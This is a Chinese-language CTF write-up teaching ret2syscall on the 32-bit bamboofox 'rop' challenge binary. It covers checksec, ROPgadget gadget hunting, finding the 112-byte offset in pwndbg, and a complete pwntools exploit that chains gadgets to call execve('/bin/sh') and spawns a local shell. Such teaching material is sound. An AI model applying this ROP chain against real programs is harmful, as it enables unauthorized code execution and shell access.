从零开始的 Pwn 之旅 - Ret2syscall

前言

ret2syscall 是 Pwn 进阶中的一个重要概念,它允许我们通过修改返回地址来直接调用系统调用,从而实现更复杂的攻击。本文将介绍 ret2syscall 的基本原理和应用。

C 语言中的 puts read write 等函数实际上是对系统调用的封装。通过 ret2syscall,我们可以直接调用这些系统调用,而不需要依赖 libc 函数。

ret2syscall

ret2syscall

安全检查:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ chmod +x ./rop            (.venv) master ✱ ◼
'./rop' 的模式已由 0644 (rw-r--r--) 更改为 0755 (rwxr-xr-x)

$ pwn checksec ./rop        (.venv) master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

$ file ./rop                (.venv) master ✱ ◼
./rop: ELF 32-bit LSB executable, Intel i386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

32 位程序,启用了 NX, 静态链接

静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

.rodata:080BE408 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shello

/bin/sh 字符串,但是无 system 等函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ ROPgadget --binary ./rop | grep "int 0x80"
0x08093e93 : add bh, al ; inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
0x0804941f : add byte ptr [eax], al ; int 0x80
0x080924e0 : add byte ptr [eax], al ; mov eax, edi ; mov ecx, 0x81 ; int 0x80
0x080924e1 : add byte ptr [ecx + 0x81b9f8], cl ; add byte ptr [eax], al ; int 0x80
0x0806c761 : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80
0x0806ec48 : clc ; mov ecx, 0x80 ; int 0x80
0x080924e3 : clc ; mov ecx, 0x81 ; int 0x80
0x08093e95 : inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
0x08049421 : int 0x80
0x0807b72a : ja 0x807b72c ; add byte ptr [eax], al ; int 0x80
0x080b9be1 : jp 0x80b9be8 ; int 0x80
0x080b9e07 : jp 0x80b9e0f ; int 0x80
0x08093e94 : mov dword ptr [ebp - 0x7c], 0x51 ; int 0x80
0x08049419 : mov dword ptr [esp + 0x2c], 0x51 ; int 0x80
0x0807b729 : mov eax, 0x77 ; int 0x80
0x0807b720 : mov eax, 0xad ; int 0x80
0x0806c760 : mov eax, 1 ; int 0x80
0x0806ec47 : mov eax, edi ; mov ecx, 0x80 ; int 0x80
0x080924e2 : mov eax, edi ; mov ecx, 0x81 ; int 0x80
0x0806ec49 : mov ecx, 0x80 ; int 0x80
0x080924e4 : mov ecx, 0x81 ; int 0x80
0x0806f22f : nop ; int 0x80
0x0807b71f : nop ; mov eax, 0xad ; int 0x80
0x0806f22e : nop ; nop ; int 0x80
0x0807b71e : nop ; nop ; mov eax, 0xad ; int 0x80
0x0806f22c : nop ; nop ; nop ; int 0x80
0x0807b71c : nop ; nop ; nop ; mov eax, 0xad ; int 0x80
0x0806f22a : nop ; nop ; nop ; nop ; int 0x80
0x0806f228 : nop ; nop ; nop ; nop ; nop ; int 0x80
0x0807b727 : nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0806c75f : or byte ptr [eax + 1], bh ; int 0x80
0x0807b728 : pop eax ; mov eax, 0x77 ; int 0x80
0x0806c75e : push cs ; or byte ptr [eax + 1], bh ; int 0x80
0x080b9e08 : push es ; int 0x80
0x08093e92 : sldt edi ; inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
0x08093e96 : test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
0x0806ec45 : xor esi, esi ; mov eax, edi ; mov ecx, 0x80 ; int 0x80

0x08049421 : int 0x80 在静态链接中一定存在,使我们进行 ret2syscall 攻击的重要部分

当我们想实现下面的代码:

1
execve("/bin/sh",NULL,NULL)

需要满足:

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

最后调用 int 0x80 即可执行

控制寄存器的值我们可以通过 gadget 来做到。gadget 是一组程序中的代码片段

1
2
3
4
5
6
$ ROPgadget --binary ./rop --only "pop|ret" | grep eax
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

0x080bb196 : pop eax ; ret 这个 gadget 会将栈顶的值弹出到 eax 中,然后 ret 返还控制权

这里选择 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

测算偏移量:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
$ pwn cyclic 1000           (.venv) master ✱ ◼
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj

$ gdb ./rop                 (.venv) master ✱ ◼
GNU gdb (GDB) 16.3
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 188 pwndbg commands and 43 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from ./rop...
------- tip of the day (disable with set show-tips off) -------
heap-config shows heap related configuration
pwndbg> r
Starting program: /home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.archlinux.org>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────
 EAX  0
 EBX  0x80481a8 (_init) ◂— push ebx
 ECX  0xfbad2288
 EDX  0x80eb4e0 (_IO_stdfile_0_lock) ◂— 0
 EDI  0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067b10 (__stpcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
 ESI  0
 EBP  0x62616163 ('caab')
 ESP  0xffffcca0 ◂— 0x62616165 ('eaab')
 EIP  0x62616164 ('daab')
──────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────
Invalid address 0x62616164










───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ esp 0xffffcca0 ◂— 0x62616165 ('eaab')
01:0004│     0xffffcca4 ◂— 0x62616166 ('faab')
02:0008│     0xffffcca8 ◂— 0x62616167 ('gaab')
03:000c│     0xffffccac ◂— 0x62616168 ('haab')
04:0010│     0xffffccb0 ◂— 0x62616169 ('iaab')
05:0014│     0xffffccb4 ◂— 0x6261616a ('jaab')
06:0018│     0xffffccb8 ◂— 0x6261616b ('kaab')
07:001c│     0xffffccbc ◂— 0x6261616c ('laab')
─────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────
0 0x62616164 None
   1 0x62616165 None
   2 0x62616166 None
   3 0x62616167 None
   4 0x62616168 None
   5 0x62616169 None
   6 0x6261616a None
   7 0x6261616b None
───────────────────────────────────────────────────────────────────────────────────────
pwndbg> pwn cyclic daab
usage: pwn cyclic [-h] [-a alphabet] [-n length] [-c context] [-l lookup_value]
                  [count]
pwn cyclic: error: argument count: invalid int value: 'daab'
This command is deprecated in Pwndbg. Please use the GDB's built-in syntax for running shell commands instead: !pwn <args>
pwndbg> pwn cyclic -l daab
112
This command is deprecated in Pwndbg. Please use the GDB's built-in syntax for running shell commands instead: !pwn <args>

偏移量为 112

书写 payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *

p = process("./rop")

context.terminal = ["kitty", "@", "launch", "--type=window"]

pop_edx_ecx_ebx = 0x0806EB90
pop_eax = 0x080BB196
int80 = 0x08049421
sh = 0x080BE408
payload = b"a" * 112 + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(sh)
payload += p32(pop_eax) + p32(0xB) + p32(int80)

# gdb.attach(p)
pause()
p.sendline(payload)

p.interactive()

获取 shell 权限:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ python3 payload.py                                                                                              (.venv) master ✱ ◼
[+] Starting local process './rop': pid 33515
[*] Switching to interactive mode
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ whoami
lhon901
$
[*] Interrupted
[*] Stopped process './rop' (pid 33515)